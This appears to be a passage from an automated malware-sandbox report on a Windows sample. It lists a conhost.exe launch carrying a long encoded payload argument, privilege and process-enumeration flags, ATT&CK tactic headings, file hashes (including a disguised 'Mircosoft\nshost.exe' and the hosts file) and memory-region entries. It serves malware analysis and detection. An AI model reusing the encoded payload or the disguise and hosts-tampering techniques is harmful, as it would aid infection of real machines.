      C:\Windows\System32\conhost.exe ggorxoydbil1 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPB8Kr2fo1ssHPh8+toFAo+wzRGYTU4jGYVbu0tBMJh3RfnJDz7YWV+MpFnEpiMAfmX1rQQyg7jJfaIzAJNGY6+3cUA/26tWZW1qjVzKb7vm+9+UI/27mDPW9SkEazmCQyqvmf6CKllFjQ1aZUB9R4ieO8FotxcVvZQUZSqFI3EaWzZjvwwJ/6R8ZYkDDb9JeaeEhQekRXltyrVSsDT2DHC80svnL3Dvu9tJ90mgmsJPQlrCoc5paTZFcCkwShnPbjdnmFPAydnzi5uhgnbykZ03/jPdeutvaFwia2WVLsrs1oM/YGUWho/TK1cXghxl7wPcQADkA4WzyKEuo5oSaRnlntROsq1Hn5/QviY03gsWsbZiosuwdDLjM4XVLXFzcLPC4YOXyDaMqHSHI8xj5XMiO1xFPHZjflLrZ69NZ0UUZMJRLX6uY77d98weJR0SMBNmMkJJz9HSnl3Oz+sZnfQN5uh9hnFCOn3vmBJBDjGBohF8iHj1sdJ4Fodz3FFeub8snvJj71JjYZH0NfWhb3YRAIBERhqmG8/SA/Pie14wqVFkwMkGRBRKDdDS6Lzs+FiK8E/OEAFCPhCVcg51jG5fBcKtACelqlm6/up/PBnYWcG2FnLautcs/Q9gMrN7EMFUDmYVltwRavdUWnVbndrF8n283xUMv01Rvjg/zwhEe21h0kET/IMlSFy2dvu+3AtSh8tImRiZn1uqhvDYwu0nwBRTTohddp5QZ6Wxb0vRGHcvnMRmEIXaLNTQF8y7asfFazCnk3VUdMaPkpEOWE1RBGO/ZDutyD495juNhB0RlSEbK4sE69pJ3c759y59WfGRUs2qrJOOtxlwqzi+I1mIiFwUfWPuep+EOE4a0LzXAHUe/IB1bYDdXGv8X6kz79p3ciw5JoOmQVUqsnXWEc0KLsPlNowzK20EvlIDdMhQeCjilHjGwlbmdLkIrDydm9l6RfCeiqtz8tfFlPONEmTpSm577nR+QqVwP8GuszSLNMNHOky+EAa0syNMQXU+VhBKPAHh6nvw/9LcI+hjq+LPz99PYTykAf3yVTk87rohTdRO140p25KVxGNNXW/8sapL34x1AeAy3JHDli+tDrHA2xFeDasV4umfybZFSlPiYANKWxIpOMHLbCUaMeotLSw1xpiHEwyLzTC0ZwPrNk2P9fwqCqfDbB1BF34jvZvMe0imZwHkQ53WVAzuZi0d8fgrQNdWO7gvbt0dLaJF5pEZG4U2ogxyMu7ObYEgEKGC43UFSmchq6NPUstR+mBXpgHmP6YKbH/ybe6+4TDtcj0f/qhegexNuaQDykaF03/sWIIFsyBaWkpIiCHZiHf6TNEI7rjudSfBWaosUMCBmN1VUPYT6wfRIUK1X4xXgY/++EDJYCBcYi9+rAUXN/YyLwL2r4qNP8qeIjc5ewRu9Gbgh7ehGY/q3eIvUhdSFvvpQkHLOaSbSBodd8LJJzkMcYShSA8B2zV1EBdJ+zL55LLUFAWzZkBLaxtxBZNwV97TE8JgdffB0/ICxMVLxSCpm/EZLR2n+UELYSlThmSdZEaJq7QXuY7Br/Tp1m9mFxal+JSgbweMZS9lKWhYPizcgXQrTE/NpflDM0WXFof4ohcE4CPVvdjIUj8VDBN9sfY1bvJgtNC7Xk+RiRjA1moDkZ/hzwXrQ3NMvRLr1wh1ocHlMkzYevsLnamAax8lZICDH8fz1Ztw6+glHLHwsGWsEPV5AV75Z2cn16YzmAWgNvhXnUXX9zr8ObLhgSFsZjK66q289NBOnHzHsi70ywWou+m2fcgGD9TuxO28adwprfL6j+V4keNs+baNPicMQ6WC4fYDoiMy4chqZEuKc0KmQzjkwFHxnHVTvon1KxA/guAqkivG9QvTsQMJzj8pFjSogtc1a9HOPer2c7lILqQO3S+jFokWeU2bt6PI1E3oLprPKbhhbB/SCeruQSI0hirLXAQoLf22AH3AGKD39+n9LalYDADlQbcdf7vqk2NVNLIX11sve/KUdq/eSrcN6SGU/9LrfMKCnanbI6tjUpMbJLWLSAcNLAgcj/Mjq6gd/aTv7HxmzQNssFFlx7bIOu35dWzcsx1BqxQnSz2qMRx+LZktbuBWM5JCE9WQnrgECbs/pxyuNAJyPsgxiz9etm6vFZUMcmXT4t7TM6CY/u4hItDtO/0nUIob3OzO7y5Z+znePVOJNLSuM3a31vNpLKuFj1T7Ik8yfgSFkc8WICl68mKkvKy5P8qlRtv9zKHmDjEeMN7Nxo4f3EhgVDeV5dPMaYRTj0LFlDp4YWRsZ1h274V/CucySQjvBgaY5G4L2vtIiKrmfsSQSSJBZqKVJTinpLNdHQ7heBUpeiQPyVYCuyI/roxU/c3HTH0b7ucOa5o6glW7vPIsOioFK2EW18f7MGAMI+b0+ReH/LrJwItoj3Zji0MB4R2S8i/JKquNsqFUCfq4CfMCWDXNjSV66/4ksUDYYHm9nLeQnaRPexMIZIeSks2I6m37s2bGC9/ndvCqZgR62L0U/yX94Cq3ILKqIu7rjJQo2un4lxn3kWoZf2QXYtC5pLEctXVDK3QHOLrDQacX0boJnI9zlDnhmc4YWvb3Xwy5JQJj7Qfxp4LE8A04zggM0NlzKGJsGGJY3he5Gpf8SUTyGu+tCykE4tnjWsWZA6dbJMcP68M5I0S4gaxih528ZnXSrPMlqquzOk8snSy1OJeYciyTfvC3vXMFwbEeNkLjkwSu/PVMOizUx3HVwmUeXKIb1Da4F+sXH3vl64IY2zNyLmg7e5gjRljII1gb2+YrAU05JgMNVQVBVj2jgPyC8tR3l1Q4bmkzkjyzXBBgjw7cg0dnC3gquic/ALlDQfohjPg2hu+2hDqH0yvVfe2Q3EwIo1nXnLS81ddWnZBfgnVYguxGR5h8ajalZU2t2INQN67O9aTYvzQ/rTgNc06Zle5Zi9DVziWZCAXvA=
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1304
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Execution
          Exfiltration
            Impact
            Initial Access
              Lateral Movement
                Privilege Escalation
                  Replay Monitor
                  00:00 00:00
                  Downloads
                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                    MD5

                    d85ba6ff808d9e5444a4b369f5bc2730

                    SHA1

                    31aa9d96590fff6981b315e0b391b575e4c0804a

                    SHA256

                    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                    SHA512

                    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    MD5

                    62623d22bd9e037191765d5083ce16a3

                    SHA1

                    4a07da6872672f715a4780513d95ed8ddeefd259

                    SHA256

                    95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

                    SHA512

                    9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

                  • C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe

                    MD5

                    cc45f791667f3b9fb6281414f5325561

                    SHA1

                    df8b29bbc15712f928a61f6d0c8e045d823dce84

                    SHA256

                    dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785

                    SHA512

                    f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7

                  • C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe

                    MD5

                    cc45f791667f3b9fb6281414f5325561

                    SHA1

                    df8b29bbc15712f928a61f6d0c8e045d823dce84

                    SHA256

                    dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785

                    SHA512

                    f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7

                  • C:\Windows\system32\drivers\etc\hosts

                    MD5

                    3715acee4598ecc9f6edf98c069c8f85

                    SHA1

                    700c0bfc09fcde757b83d3b5a92fc5fd48c72d8b

                    SHA256

                    53058b8e6ef749657f41ebe3999b88439a3042af8dbc27623f8923a1e9937b19

                    SHA512

                    bb749cb320ab655961c2c9353f472e580d0f9fb3084b4066398177d725f199dfec4446eb222919ef3dd08c13e2f02d8426629794fe539e3706e28ff484e98359

                  • memory/8-152-0x0000000000000000-mapping.dmp

                  • memory/400-141-0x0000000000000000-mapping.dmp

                  • memory/448-133-0x0000000000000000-mapping.dmp

                  • memory/448-134-0x00000209279F0000-0x0000020927A12000-memory.dmp

                  • memory/448-135-0x00007FFC79F30000-0x00007FFC7A9F1000-memory.dmp

                  • memory/560-187-0x0000000000000000-mapping.dmp

                  • memory/668-142-0x0000000000000000-mapping.dmp

                  • memory/896-155-0x0000000000000000-mapping.dmp

                  • memory/1124-236-0x0000000000000000-mapping.dmp

                  • memory/1180-180-0x0000000000000000-mapping.dmp

                  • memory/1200-186-0x0000000000000000-mapping.dmp

                  • memory/1224-247-0x0000000000000000-mapping.dmp

                  • memory/1224-150-0x0000000000000000-mapping.dmp

                  • memory/1288-137-0x0000000000000000-mapping.dmp

                  • memory/1304-195-0x0000000140000000-0x0000000140803000-memory.dmp

                  • memory/1304-229-0x000000014036DB84-mapping.dmp

                  • memory/1304-230-0x0000000140000000-0x0000000140803000-memory.dmp

                  • memory/1304-231-0x0000000140000000-0x0000000140803000-memory.dmp

                  • memory/1304-249-0x000001A0888F0000-0x000001A088930000-memory.dmp

                  • memory/1304-253-0x000001A088930000-0x000001A088950000-memory.dmp

                  • memory/1304-234-0x0000000140000000-0x0000000140803000-memory.dmp

                  • memory/1304-232-0x000001A086FE0000-0x000001A087000000-memory.dmp

                  • memory/1304-254-0x000001A088930000-0x000001A088950000-memory.dmp

                  • memory/1384-132-0x0000000000000000-mapping.dmp

                  • memory/1400-165-0x0000000000000000-mapping.dmp

                  • memory/1480-223-0x00007FFC97690000-0x00007FFC976A0000-memory.dmp

                  • memory/1480-196-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-217-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-197-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-216-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-250-0x00007FFC976D0000-0x00007FFC976E0000-memory.dmp

                  • memory/1480-218-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-198-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-227-0x0000000000400000-0x0000000001246000-memory.dmp

                  • memory/1480-200-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-219-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-202-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-203-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-204-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-205-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-235-0x00007FF429520000-0x00007FF4298F1000-memory.dmp

                  • memory/1480-226-0x0000000000400000-0x0000000001246000-memory.dmp

                  • memory/1480-220-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-233-0x0000000000400000-0x0000000001246000-memory.dmp

                  • memory/1480-206-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-207-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-221-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-208-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-222-0x00007FFC97690000-0x00007FFC976A0000-memory.dmp

                  • memory/1480-209-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-210-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-212-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-213-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-214-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-189-0x0000000000400000-0x0000000001246000-memory.dmp

                  • memory/1480-190-0x0000000001243F90-mapping.dmp

                  • memory/1480-215-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-225-0x0000000000400000-0x0000000001246000-memory.dmp

                  • memory/1480-192-0x0000000000400000-0x0000000001246000-memory.dmp

                  • memory/1480-199-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-211-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-224-0x00007FFC97690000-0x00007FFC976A0000-memory.dmp

                  • memory/1480-201-0x00007FFC97590000-0x00007FFC975A0000-memory.dmp

                  • memory/1480-228-0x0000000000400000-0x0000000001246000-memory.dmp

                  • memory/1656-145-0x0000000000000000-mapping.dmp

                  • memory/1692-183-0x0000000000000000-mapping.dmp

                  • memory/1732-149-0x0000000000000000-mapping.dmp

                  • memory/1772-168-0x0000000000000000-mapping.dmp

                  • memory/1800-164-0x0000000000000000-mapping.dmp

                  • memory/1844-144-0x0000000000000000-mapping.dmp

                  • memory/1852-166-0x0000000000000000-mapping.dmp

                  • memory/1896-194-0x0000000000000000-mapping.dmp

                  • memory/1964-240-0x0000000000000000-mapping.dmp

                  • memory/1968-162-0x0000000000000000-mapping.dmp

                  • memory/2000-243-0x0000000000000000-mapping.dmp

                  • memory/2400-146-0x0000000000000000-mapping.dmp

                  • memory/2424-248-0x0000000000000000-mapping.dmp

                  • memory/2512-182-0x0000000000000000-mapping.dmp

                  • memory/2568-167-0x0000000000000000-mapping.dmp

                  • memory/2684-156-0x0000000000000000-mapping.dmp

                  • memory/3004-140-0x0000000000000000-mapping.dmp

                  • memory/3084-163-0x0000000000000000-mapping.dmp

                  • memory/3288-138-0x0000000000000000-mapping.dmp

                  • memory/3316-170-0x0000000000000000-mapping.dmp

                  • memory/3404-130-0x0000000000A10000-0x0000000001144000-memory.dmp

                  • memory/3404-131-0x00007FFC79F30000-0x00007FFC7A9F1000-memory.dmp

                  • memory/3496-175-0x0000000000000000-mapping.dmp

                  • memory/3496-178-0x00007FFC7A190000-0x00007FFC7AC51000-memory.dmp

                  • memory/3956-139-0x0000000000000000-mapping.dmp

                  • memory/3984-246-0x0000000000000000-mapping.dmp

                  • memory/4024-161-0x0000000000000000-mapping.dmp

                  • memory/4032-251-0x0000024005840000-0x000002400584A000-memory.dmp

                  • memory/4032-252-0x00007FFC7A190000-0x00007FFC7AC51000-memory.dmp

                  • memory/4080-159-0x0000000000000000-mapping.dmp

                  • memory/4184-239-0x0000000000000000-mapping.dmp

                  • memory/4192-245-0x0000000000000000-mapping.dmp

                  • memory/4252-244-0x0000000000000000-mapping.dmp

                  • memory/4252-147-0x0000000000000000-mapping.dmp

                  • memory/4380-160-0x0000000000000000-mapping.dmp

                  • memory/4392-136-0x0000000000000000-mapping.dmp

                  • memory/4504-242-0x0000000000000000-mapping.dmp

                  • memory/4564-154-0x0000000000000000-mapping.dmp

                  • memory/4608-188-0x0000000000000000-mapping.dmp

                  • memory/4724-174-0x0000000000000000-mapping.dmp

                  • memory/4748-238-0x0000000000000000-mapping.dmp

                  • memory/4752-179-0x0000000000000000-mapping.dmp

                  • memory/4768-237-0x0000000000000000-mapping.dmp

                  • memory/4780-143-0x0000000000000000-mapping.dmp

                  • memory/4792-157-0x0000000000000000-mapping.dmp

                  • memory/4800-153-0x0000000000000000-mapping.dmp

                  • memory/4856-169-0x0000000000000000-mapping.dmp

                  • memory/4896-158-0x0000000000000000-mapping.dmp

                  • memory/4940-173-0x00007FFC7A190000-0x00007FFC7AC51000-memory.dmp

                  • memory/4940-193-0x0000000003270000-0x0000000003282000-memory.dmp

                  • memory/4988-151-0x0000000000000000-mapping.dmp

                  • memory/5008-241-0x0000000000000000-mapping.dmp

                  • memory/5056-184-0x0000000000000000-mapping.dmp

                  • memory/5060-148-0x0000000000000000-mapping.dmp

                  • memory/5104-185-0x0000000000000000-mapping.dmp